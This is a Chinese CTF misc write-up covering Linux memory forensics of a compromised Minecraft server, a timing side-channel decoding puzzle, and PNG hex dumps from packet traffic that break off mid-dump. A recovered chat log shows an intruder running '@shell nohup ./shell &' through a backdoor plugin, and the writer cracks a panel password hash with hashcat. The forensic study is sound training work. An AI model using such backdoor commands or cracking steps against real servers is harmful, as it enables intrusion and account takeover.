比赛复现文档

比赛复现文档

路虽远,行则将至;事虽难,做则必成

本文章为参加的各种比赛和题目misc方向复现文档

Mini V&N CTF 2025

MCServer

参考链接:
https://goodlunatic.github.io/posts/761da51/#linux%E5%86%85%E5%AD%98%E5%8F%96%E8%AF%81

https://treasure-house.randark.site/blog/2023-10-25-MemoryForensic-Test/

https://mp.weixin.qq.com/s?__biz=MzA3OTk5MjE2OQ==&mid=2247484545&idx=1&sn=9b8c4d844d5efcf358d359021985f139&chksm=9eefc873eb09dc94960d29cb83eef48966a2048ee1c90b2fe1ad8de81fe2fdd6176f32071fa3&mpshare=1&scene=23&srcid=1206kW2mvbdeXjTKCDufzkYR&sharer_shareinfo=76fdb4ba40b3e7dab6252c6ca0e3f354&sharer_shareinfo_first=76fdb4ba40b3e7dab6252c6ca0e3f354#rd

https://xz.aliyun.com/news/17397

linux内存取证,需要制作Symbols(vol3)Profiles(vol2),这是 Volatility 的“地图”,告诉 Volatility 如何正确解析和理解特定操作系统(及其版本)的内存结构。

First step——拿到内存镜像的banner信息:

vol3 -f file banners.Banners

image-20251208135905550

banner的内容是Linux 内核版本的详细信息,例如:

内核版本:Linux version 4.9.0-deepin13-amd64

编译者:yangbo@deepin.com

编译器版本:gcc version 6.3.0 20170321 (Debian 6.3.0-11)

编译类型:#1 SMP PREEMPT

发行版信息:Deepin 4.9.57-1

编译日期:(2017-10-19)

使用vol2进行取证,需要制作Profiles:

内存镜像类似于一个”原始数据块”,其中没有目录,章节标题和页码,全是乱序的二进制数据,Volatility 需要知道:哪里是进程列表的开始?哪里是网络连接表?内核数据结构的布局是怎样的?这就是 Profile 的作用。

而在linux系统中,由于内核的多样性,一些发行版的深度定制,不同配置下的差异,会导致vol自有的Profile无法使用,因此需要制作对应的Profile

Profile具体包含了:

  • 内核符号表:

    来自System.mapvmlinux(带调试信息的可执行文件):

1
2
3
4
// 类似于这样的映射:
ffffffff81000000 T startup_64 // 启动代码地址
ffffffff81800000 T init_task // 关键数据结构地址
ffffffff81a00000 T modules // 模块列表地址

告诉 Volatility 关键内核函数和变量的内存地址

  • 内核数据结构定义:
1
2
3
4
5
6
7
8
// 例如 task_struct(进程结构体)在内存中的布局:
struct task_struct {
volatile long state; // 偏移 0x0
void *stack; // 偏移 0x8
struct list_head tasks; // 偏移 0x10
pid_t pid; // 偏移 0x18
// ...
};

而在不同内核版本的linux中,结构体布局是完全不同的

  • 特定内核的配置信息:

例如:

1
2
3
编译时启用了哪些功能?
内存分页大小是多少?
地址空间布局(32位 or 64位)?

Profiles制作:

一个vol2的Profile的结构总共包含两个文件:system.map(内核的静态符号表)以及module.dwarf(内核调试文件)

将两个文件用deflate压缩算法压缩成一个zip压缩包放到volatility/volatility/plugins/overlays/linux目录下即可

  1. system.map:

根据已知的 4.9.0-deepin13-amd64 内核版本信息,可以确定这是deepin操作系统 15.5 版本

下载iso:https://sourceforge.net/projects/deepin/files/15.5/Release/deepin-15.5-amd64.iso/download

使用vmware创建虚拟机,进行换源,再安装必要软件包:

sudo apt install openssh-server gcc make net-tools

image-20251208165944248

下载AVML到虚拟机内,并赋予权限(chmod +x avml)

然后开始制作镜像:

image-20251208170306298

得到out.lime 内存镜像文件

接下来,开始构建 dwarf 内核调试文件,与获取 System.map 内存表文件

首先传输 dwarf 内核调试文件的编译文件:volatility/tools/linux,并尝试进行编译:

image-20251208170852339

得到了module.dwarf文件。

接下来获取 System.map 内存表文件:

可以直接找到:

image-20251208171056876

得到这两个文件后,进行压缩即可获得Profiles:

image-20251208171439624

再把zip移动到vol2储存Profile的地方(volatility2/volatility/plugins/overlays/linux/):

使用info检查Profile:

image-20251208172006629

使用 profile 进行内存镜像的解析:

image-20251208173058184

接下来就可以使用vol2进行内存取证了:

1
2
3
4
Q1 蛤客zym在Minecraft游戏中的id是什么?
Q2 请寻找蛤客zym进入了与Minecraft相关的什么程序?
Q3 蛤客zym进入与Minecraft相关的程序使用的用户名和密码是什么?
Q4 请从蛤客zym的入侵痕迹找出他通过上传了什么得到了shell?

Q1: 游戏id,一般在服务器的日志中会体现:

列出所有文件查找:

python2 vol.py -f ~/Desktop/mem.mem --profile=LinuxDeepin_4_9_0-deepin13-amd64_profilex64 linux_enumerate_files > ~/Desktop/1.txt

image-20251208174118685

发现了可疑的日志,进行导出:

python2 vol.py -f ~/Desktop/mem.mem --profile=LinuxDeepin_4_9_0-deepin13-amd64_profilex64 linux_find_file -i 0xffff9b878779d3e8 -O ~/Desktop/chatty_log

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
[02:49:48] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): wxm你来了
[02:51:33] Butt3rwXm (93b88d54-1917-32e5-827e-2a2a64fc9bbe): n0师傅,这个怎么玩啊
[02:51:49] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): 出生点有教程
[02:52:20] Butt3rwXm (93b88d54-1917-32e5-827e-2a2a64fc9bbe): n0师傅,这个箱子怎么开不了啊
[02:52:28] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): 我看看
[02:55:16] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): 好像插件有点问题
[02:55:46] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): 过两天加个新手礼包替代箱子
[02:55:55] Butt3rwXm (93b88d54-1917-32e5-827e-2a2a64fc9bbe): 这是你弄得服务器吗,好强啊n0师傅
[02:57:03] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): 是啊
[02:57:10] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): 你要进后台vanvan吗
[02:57:22] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): 就是这个用户名,密码还是6rocky里面Aa+数字那个的那个老密码
[02:57:55] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): 就是这个用户名,密码还是§6rocky里面Aa+数字那个的那个老密码
[02:58:12] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): 就是这个用户名,密码还是§6rocky里面Aa+数字那个的那个老密码
[02:59:36] 0ran93 (b8897229-baf9-3709-bc7d-a06b99cd70c7): 这个怎么玩啊
[02:59:46] XuXX (2500ff07-1153-3335-8243-45c9bd3d9c70): 直接挖脚下的方块就行了
[03:00:03] XuXX (2500ff07-1153-3335-8243-45c9bd3d9c70): 出生点写了吧
[03:00:17] W4ngXunF1sh (0fdac309-0978-3cba-a820-c4c4da0acc0c): butterwxm是四川萌妹吗
[03:00:25] W4ngXunF1sh (0fdac309-0978-3cba-a820-c4c4da0acc0c): 能一起玩吗
[03:00:30] 5h3n9NaN (8c4e9748-4a49-3849-abc0-53a61b5b573e): 能一起玩吗
[03:00:35] XuXX (2500ff07-1153-3335-8243-45c9bd3d9c70): 能一起玩吗
[03:00:44] Butt3rwXm (93b88d54-1917-32e5-827e-2a2a64fc9bbe): 可以啊
[03:00:54] Butt3rwXm (93b88d54-1917-32e5-827e-2a2a64fc9bbe): 怎么拉人啊
[03:01:08] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): is team invite
[03:01:21] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): 你可能没权限,我来吧
[03:01:33] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): 拉完了给你创造我下了
[03:01:57] J4sm1ne4ur4 (452b75cf-9cc1-38be-9484-343c26e245fa): 出生点的箱子怎么开不了啊
[03:03:06] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): 我先下了
[03:03:13] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): 明天再一起玩学姐
[03:03:31] 0ran93 (b8897229-baf9-3709-bc7d-a06b99cd70c7): aura你来了,来van
[03:04:48] XuXX (2500ff07-1153-3335-8243-45c9bd3d9c70): 憋笑[1]
[03:05:04] J4sm1ne4ur4 (452b75cf-9cc1-38be-9484-343c26e245fa): 憋笑都更新出3.0和4.0了
[03:07:01] 5h3n9NaN (8c4e9748-4a49-3849-abc0-53a61b5b573e): 不是这怎么会出蠹虫和蜘蛛网啊c
[03:07:11] 0ran93 (b8897229-baf9-3709-bc7d-a06b99cd70c7): 二号选手取证大师就是强[点赞]
[03:07:23] XuXX (2500ff07-1153-3335-8243-45c9bd3d9c70): 二号选手取证大师就是强[点赞]
[03:08:20] 0ran93 (b8897229-baf9-3709-bc7d-a06b99cd70c7): ???wc,怎么死亡会掉落啊
[03:08:30] 5h3n9NaN (8c4e9748-4a49-3849-abc0-53a61b5b573e): run了
[03:09:15] J4sm1ne4ur4 (452b75cf-9cc1-38be-9484-343c26e245fa): ???wc,怎么死亡会掉落啊
[03:11:06] Hu4ngrk1n (ad52f988-ed77-39fb-9c15-c24ec06cad1d): @butt3rwxm 能和你们一起玩吗
[03:11:14] Hu4ngrk1n (ad52f988-ed77-39fb-9c15-c24ec06cad1d): 一个人好无聊
[03:11:22] Butt3rwXm (93b88d54-1917-32e5-827e-2a2a64fc9bbe): 我看看怎么拉人
[03:11:30] Butt3rwXm (93b88d54-1917-32e5-827e-2a2a64fc9bbe): 不行啊
[03:11:37] Butt3rwXm (93b88d54-1917-32e5-827e-2a2a64fc9bbe): 我再试试
[03:11:47] Butt3rwXm (93b88d54-1917-32e5-827e-2a2a64fc9bbe): 我看看n0师傅睡没睡,让他给个权限或者拉下
[03:14:33] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): 我把岛主转给你了学姐,我先睡了
[03:14:54] W4ngXunF1sh (0fdac309-0978-3cba-a820-c4c4da0acc0c): butterwxm给个三叉戟,给你表演个魔术
[03:18:35] Butt3rwXm (93b88d54-1917-32e5-827e-2a2a64fc9bbe): 啊?
[03:18:44] Butt3rwXm (93b88d54-1917-32e5-827e-2a2a64fc9bbe): 不是戈门
[03:18:46] Butt3rwXm (93b88d54-1917-32e5-827e-2a2a64fc9bbe): ??
[03:19:21] Butt3rwXm (93b88d54-1917-32e5-827e-2a2a64fc9bbe): @nOo0b 登不上面板a
[03:19:40] Butt3rwXm (93b88d54-1917-32e5-827e-2a2a64fc9bbe): 密码不对啊
[03:20:41] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): 改过了,就是rocky里面Aa开头那个,之前可能输了一位
[03:21:38] Butt3rwXm (93b88d54-1917-32e5-827e-2a2a64fc9bbe): ok,我去看看
[03:22:58] nOo0b (34fe703f-7330-30df-95e3-437457cda10e): xiale
[03:47:03] W4ngXunF1sh (0fdac309-0978-3cba-a820-c4c4da0acc0c): @shell nohup ./shell &

注意到最后,W4ngXunF1sh执行了@shell nohup ./shell &

因此判断这即是黑客的id

Q2 请寻找蛤客zym进入了与Minecraft相关的什么程序?

我们知道mc是java编写的,尝试找出所有Java进程,这是Minecraft的核心:

python2 vol.py -f ~/Desktop/mem.mem --profile=LinuxDeepin_4_9_0-deepin13-amd64_profilex64 linux_psaux | grep -i "java"

image-20251208191532133

可以找到一个叫mcsmanager的程序,经搜索发现这是一款免费、开源、轻量级的游戏服务器控制面板。主要用于管理 Minecraft 服务器

因此可以推测这就是相关的程序。

Q3 蛤客zym进入与Minecraft相关的程序使用的用户名和密码是什么?

在之前导出的所有文件列表中搜索mcsmanager,可以知道它的路径是:/opt/mcsmanager

用户名和密码的核心是找到并分析其配置文件或数据库,因为密码通常以哈希或加密形式存储其中。

在内存中搜mcsanager目录下所有可能包含凭证的文件:

python2 vol.py -f ~/Desktop/mem.mem --profile=LinuxDeepin_4_9_0-deepin13-amd64_profilex64 linux_enumerate_files | grep -i "/opt/mcsmanager" | grep -E "(config|\.json|\.db|\.sqlite|data)"

在其中找到了user目录:

image-20251208192607697

导出/user下的json文件:

python2 vol.py -f ~/Desktop/mem.mem --profile=LinuxDeepin_4_9_0-deepin13-amd64_profilex64 linux_find_file -i 0xffff9b883f2be658 -O ~/Desktop/b403738834b24115b7f503dbb4d18d8b.json

image-20251208193216628

可以看到用户名和密码哈希,hashcat字典爆破得到密码:

image-20251208195437925

Q4 请从蛤客zym的入侵痕迹找出他通过上传了什么得到了shell?

2025-05-12的日志中可以知道发现W4ngXunF1sh执行了shell命令:

image-20251209112809752同时执行后服务器出现了异常

找到之后时间的日志:

image-20251209113839196

分析发现Purpur 服务器的 Watchdog 线程检测到主线程卡死,服务器主线程在读取文件时被阻塞了。从堆栈跟踪可以看出:

cloud.xzai.message.MessageEvent.onPlayerChat(MessageEvent.java:89)

MessageEvent.java 的第89行,代码正在执行文件读取操作。

分析得知Dream.jar 插件中的 MessageEvent.onPlayerChat 方法在处理玩家聊天时,正在同步读取文件

导出Dream.jar进行分析:

image-20251209114111097

确认了这是一个后门插件

VNCTF{W4ngXunF1sh_mcsmanager_nOo0b,Aa123456789_Dream.jar}

强网拟态线下 2025

史题共赏(bushi

复现参考: https://goodlunatic.github.io/posts/353513a/

泄露的时间与电码

题目有三个附件:

chal.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import time
import random
import sys

class SecureTypewriter:
def __init__(self):
self.lfsr = 0x92
self.time_unit = 0.005
self.jitter = 0.001
self.base_overhead = 10
self.branch_penalty = 30
def step_lfsr(self):
bit = ((self.lfsr >> 0) ^ (self.lfsr >> 2) ^ (self.lfsr >> 3) ^ (self.lfsr >> 4)) & 1
self.lfsr = (self.lfsr >> 1) | (bit << 7)
return self.lfsr

def scramble(self, val):
return ((val * 0x1F) + 0x55) & 0xFF

def process_char(self, char):
c = ord(char)

k = self.step_lfsr()

val = c ^ k

base_ops = self.scramble(val)

current_ops = self.base_overhead + base_ops

if base_ops % 2 != 0:
current_ops += self.branch_penalty

real_duration = current_ops * self.time_unit

noise = random.uniform(-self.jitter, self.jitter)
total_time = max(0, real_duration + noise)

return total_time

def process_text(self, text):
timings = []
for char in text:
elapsed = self.process_char(char)
timings.append(elapsed)
return timings

if __name__ == "__main__":
try:
with open("flag.txt", "r") as f:
content = f.read().strip()
except FileNotFoundError:
print("Error: flag.txt not found.")
sys.exit(1)

machine = SecureTypewriter()
print(f"Processing {len(content)} characters with SecureTypewriter v2.0...")

logs = machine.process_text(content)

with open("timing.log", "w") as f:
for t in logs:
f.write(f"{t:.6f}\n")

print("Processing complete. Timing data saved to timing.log")

timing.log:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
1.110270
0.924169
1.139244
0.670085
0.915054
1.154452
0.224613
0.329060
0.774615
0.279617
0.954166
0.430143
0.414914
1.224826
1.310686
1.265828
0.110950
1.225669
1.404647
0.575287
1.455927
0.975492
0.305642
0.835893
1.245893
0.569651
1.060266
0.149129
0.844243
1.294104
0.079101
0.914897
1.025389
0.270495
0.225577
0.654189
1.385665
0.755860
0.450597
0.950750
0.839268
1.015624
0.895000
0.794687
1.064966
1.200042
0.559413
0.980588
0.525959
0.514992
0.629261
0.489585
1.089786
0.880690
1.374392
0.789075
0.814771
1.455273
1.050996
0.234891
1.074220
0.099300
1.319762
0.935773
0.454985
0.425895
0.704892
1.095786
1.165433
1.295589
0.749113
0.885320
1.244904
0.659642
0.635889
0.435427
0.520476
0.870549
0.890145
1.125522
1.064915
0.399210
0.865873

以及一个可执行程序chal,通过分析,chal.py和chal逻辑相同:

这是一个模拟基于时间的侧信道攻击防护的系统,

脚本运行后:

  1. flag.txt 读取秘密内容
  2. 用上面的方法逐个字符处理
  3. 记录每个字符的处理时间
  4. 把时间数据保存到 timing.log

根据脚本逻辑很容易写出逆向脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
def step_lfsr(lfsr):
bit = ((lfsr >> 0) ^ (lfsr >> 2) ^ (lfsr >> 3) ^ (lfsr >> 4)) & 1
lfsr = (lfsr >> 1) | (bit << 7)
return lfsr

def unscramble(bops):
return ((bops - 0x55) * 223) & 0xFF

# 读取时间数据
with open("timing.log", "r") as f:
timings = [float(line.strip()) for line in f]

flag = ""
lfsr = 0x92 # 初始状态

for i, t in enumerate(timings):
# 更新 LFSR,与加密时完全一致
lfsr = step_lfsr(lfsr)
k = lfsr

# 计算 current_ops(考虑噪声)
current_ops = round(t / 0.005)

# 尝试两种分支
candidates = []

# 分支1:base_ops 是偶数(无 penalty)
base_ops_even = current_ops - 10
if 0 <= base_ops_even <= 255 and base_ops_even % 2 == 0:
val = unscramble(base_ops_even)
c = val ^ k
candidates.append(c)

# 分支2:base_ops 是奇数(有 penalty)
base_ops_odd = current_ops - 40
if 0 <= base_ops_odd <= 255 and base_ops_odd % 2 == 1:
val = unscramble(base_ops_odd)
c = val ^ k
candidates.append(c)

# 选择最佳候选
chosen_char = '?'
for c in candidates:
if 32 <= c <= 126: # 可打印 ASCII
chosen_char = chr(c)
break
if chosen_char == '?' and candidates:
chosen_char = chr(candidates[0])

flag += chosen_char

print("Recovered text:")
print(flag)

得到了以下内容:

1
2
3
4
5
6
h i j k l m n
8 9 0 / - _ =
a b c d e f g
v w x y z { }
o p q r s t u
1 2 3 4 5 6 7

做到这里的时候已经手足无措了……后来给出了hint:ModR/M,不过依然没有找对方向。。。

原来这里是隐写:

image-20251202134502613

利用工具提取:

image-20251202135113788

解十六进制得到:

1
2j10l kkhh :3 $ jhh 4h 2k2h $3j 4h3k j20h jj6l kkll llk ^j kk$hh 0jj /z :6 5k$ jj j

这是vim编辑器的操作符,使用vim打开得到的表,输入以上内容,查看光标的位置,即可得到flag:

image-20251202152211500

1
flag{y0u-are_amaz1ng}

标准的绝密压缩

追踪流,发现有很多png格式传输的内容(89504e47):

image-20251202152735164

而到32流之后,发现请求包不再是这种格式:

image-20251202154733743

说明加密方式发生变化!

先尝试提取出所有的png:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
89504e470d
0a1a0a0000
000d494844
5200000064
0000006408
02000000ff
8002030000
0052494441
54789c0540
c10942310c
5de50d205d
c183171d23
6d1f341892
4322a537d7
703d27f93c
c29da3341c
cc926e9a8b
b3e1c973c3
890fc24d9d
77bceafffd
253ae910ec
a546a4fa20
3661928512
7b73b60bf6
041e3ecf5b
5294000000
0049454e44
ae426082


89504e470d
0a1a0a0000
000d494844
5200000064
0000006408
02000000ff
8002030000
0050494441
54789c0dc8
c10980300c
05d055fe00
d2213c088e
e031e0a729
56852422bd
b986eb3949
bdbe85a203
e6ef797728
8d09e3e50d
e2907a4bf3
8489ac8e5a
362294587f
8418911951
8e0cd7d382
963ae9f51a
d21cc5b8b0
0000000049
454e44ae42
6082


89504e470d
0a1a0a0000
000d494844
5200000064
0000006408
02000000ff
8002030000
0068494441
54789c0dc9
c10dc2300c
05d055fe00
284370eb9d
05dce6ab58
72ec283154
dc5883f598
a43dbf07cd
d00859e395
d02c58b0ca
a07df09437
917a6106a6
911d267949
c19d79908e
26ea4917df
088b7d42bc
427dd34a4f
0cf618396f
58fedf5f43
1d71b8fa5e
4e71a42a9f
79e17ca100
0000004945
4e44ae4260


89504e470d
0a1a0a0000
000d494844
5200000064
0000006408
02000000ff
8002030000
005a494441
54789c0540
c109c3300c
5ce50628de
a20fbf3b41
822fb5a096
8c6405f2eb
1a5daf9384
97a5b6805b
be7b41fd7f
7f27b1938a
3d5dd8208a
2d9bacc0b8
829fa3e079
d22f2c1944
c5212ad161
ca0736b5d5
e998360339
cb0d42ec21
bb4dc08147
0000000049
454e44ae42
6082

89504e470d
0a1a0a0000
000d494844
5200000064
0000006408
02000000ff
8002030000
004f494441
54789c1dca
c10904210c
05d0567e05
36b1a7396f
0541ff6040
8d9880ed2b
737eefd7c4
5d73c2df3a
433b1d0fb6
8dc2057d11
95e892ab8e
0bb2088aeb
a530144ac3
d6a837c9f8
e6a4cdc674
00ffe41e1c
c0e1cd0700
0000004945
4e44ae4260


89504e470d
0a1a0a0000
000d494844
5200000064
0000006408
02000000ff
8002030000
0043494441
54789c0540
510d804008
adf2125c07
0bd8810953
7627e81efe
5bc37a26b9
ad89eeaa1e
7bc3521826
2c9cb21d1e
4668c6ff7e
0561c7951e
358cc4fd18
cb33d826d3
cf17c50400
60e4000000
0049454e44
ae426082



89504e470d
0a1a0a0000
000d494844
5200000064
0000006408
02000000ff
8002030000
0074494441
54789c258b
cb0d833010
445b990222
5a4039e64e
03266c6cf2
d941f65a96
6f14914bda
a31256cae9
8d34ef4db9
ca80abf616
fa05b33c98
053738a2d8
b17f13dbb1
ff0a2c0543
5917c196f9
94bba1b3a2
89db8df9b5
6a0475c494
c429ff93f5
bda8d71ea6
6aa81bc24c
1f1faaa582
10399c436f
30edbdc133
3c00000000
49454e44ae
426082



89504e470d
0a1a0a0000
000d494844
5200000064
0000006408
02000000ff
8002030000
0063494441
54789c0dcc
b10d02310c
46e155fe01
d0ed418744
45e928d6c9
c2c4287638
a5cb10342c
c060374952
7f7aef1ea2
0a52f9f039
fe485459fb
865bb5bdb2
3bc4e16ac7
05a9053c98
f2d287353c
8b1d78ade8
7b45b6728e
5f605f17b4
37985cb46f
137e2e23b6
a0006f2b00
0000004945
4e44ae4260


89504e470d
0a1a0a0000
000d494844
5200000064
0000006408
02000000ff
8002030000
002e494441
54789c0580
c109806008
46577913b8
46fc63082a
75e913eae2
f67249611c
6e75f2fcb4
cf87aad09b
848f2db976
0b104a632f
ef00000000
49454e44ae
426082



89504e470d
0a1a0a0000
000d494844
5200000064
0000006408
02000000ff
8002030000
004f494441
54789c15c8
b11180200c
05d055fe04
aee059dabb
00275c824a
f04c28ec58
c3051c8c49
d0f62dec64
d701d37145
626bf5c5dc
ea934025a8
4621dcb9c0
472f9f1ace
5f52c056d4
60192b3b1b
3bc0241b34
befb542a00
0000004945
4e44ae4260



89504e470d
0a1a0a0000
000d494844
5200000064
0000006408
02000000ff
8002030000
00a4494441
54789c1d8e
c175c3300c
4357c10079
1ea2374fd0
336bc195de
a3293f916e
ea5b86e8a5
eb6592d0b9
02f8003ea9
7a43155dd1
57b4c05d7c
c21ccfc7bf
e38b3408ee
b529277c1c
8193fe7cfc
cd283d991f
c2fbc6a8cd
beb1f681b3
1f885ee4cc
3053489f56
2e372ab15c
c2d2f6ca71
c39c03aa88
21e65bce8a
81b68c730f
16c8586acb
f6b50d8feb
4db216d2cc
f38dcbb62b
11fcbda8f2
ae2e7ca3ad
1bc6a1f4e9
054f374f68
cb50e86e00
0000004945
4e44ae4260




89504e470d
0a1a0a0000
000d494844
5200000064
0000006408
02000000ff
8002030000
0040494441
54789c0dc8
b10980500c
04d0556e02
5770044beb
5302097e31
9013b4730d
d773926ffb
a68df780d9
a9ef790b95
b6061bb81c
a7208f9fb8
6733c82e8d
1da54911bf
5a77023000
0000004945
4e44ae4260



89504e470d
0a1a0a0000
000d494844
5200000064
0000006408
02000000ff
8002030000
0067494441
54789c1dcb
d10dc2300c
84e1556e00
c40ebcd131
5ce52816a9
5dc509256f
0cc10c0cc6
246d793be9
bfef62e9f7
fe422d3411
f54e84cc4b
de275ff584
012d983077
dce4e9452b
7165f1b1a8
1199130ffe
e9def0305f
ffdef73240
f22a3d701c
27b4e5bc01
2d47274d0c
6ad6ad0000
000049454e
44ae426082



89504e470d
0a1a0a0000
000d494844
5200000064
0000006408
02000000ff
8002030000
004e494441
54789c0dca
c10d853008
06e055fe01
8c2b78f6f4
2e2ed00815
621f241453
c7aff7ef57
71fa139db1
e3361f2b0e
618812b1c1
432fb5d290
fc266af81f
2925315883
e08dd03579
c1c724b709
ef0c1ac174
53fabc0000
000049454e
44ae426082



89504e470d
0a1a0a0000
000d494844
5200000064
0000006408
02000000ff
8002030000
0077494441
54789c35cb
c109023110
85e1565e01
b20578f368
059e9f9981
0477276132
b0e4661156
68251b17bc
3c1e1ffc8f
cc40a2e18e
cef17d7fea
2ac87c96e8
90a2f3ba2c
b8d9d8392e
88ac285bab
1eb440a3c7
f5b4ceadad
3a21bd3440
935353f539
a56575705e
b5e4a3850a
f612f91ffe
b2def7eab2
1c590233be
d2da926700
0000004945
4e44ae4260



89504e470d
0a1a0a0000
000d494844
5200000064
0000006408
02000000ff
8002030000
004e494441
54789c1dc8
c10d80200c
05d055fe00
86358c6727
a85084a452
526b8cdb43
bcbdbc551d
d5037645cd
d810a92171
b4af3bbc30
6ebabaf0f2
db9804da66
167d24e198
72a37a16cf
6a2f590a03
31661bf2d5
efa9b80000
000049454e
44ae426082



89504e470d
0a1a0a0000
000d494844
5200000064
0000006408
02000000ff
8002030000
0032494441
54789c0540
d109804008
5de54de016
4dd004920f
fc30894eb8
737bb98e3e
152db89986
7262e9fb05
b19d899f6a
2d03ef110c
eb25c50dbd
0000000049
454e44ae42
6082


89504e470d
0a1a0a0000
000d494844
5200000064
0000006408
02000000ff
8002030000
002e494441
54789c0dc6
b109002010
03c0553241
d610c70828
d88860f7dd
aff1eb3949
ecaebfac8d
3b35826807
5a9f346730
082ca3a97e
5100000000
49454e44ae
426082



89504e470d
0a1a0a0000
000d494844
5200000064
0000006408
02000000ff
8002030000
0288494441
54789c8593
49afaa4a14
857f9003e0
28028337d8
55b4d22888
88cca491be
11d0027efd
c5fb4eee1b
bc9b9c2fa9
9d95546ad5
aeec551769
1011b2016c
d0008d7222
bf182da7e3
880080fa29
70f894a8f1
86c0375fb1
9ad19cff72
902c866da1
e8192cace0
dd75a923e2
9eeaf57bd0
3c2fd36363
992addcfe1
b507f39490
809a95d9e8
4ddd2e2c2d
92c2134c45
7d625b37e3
1f278ef372
86343259ac
2d87eade16
ceb8c45f9c
8ca9297986
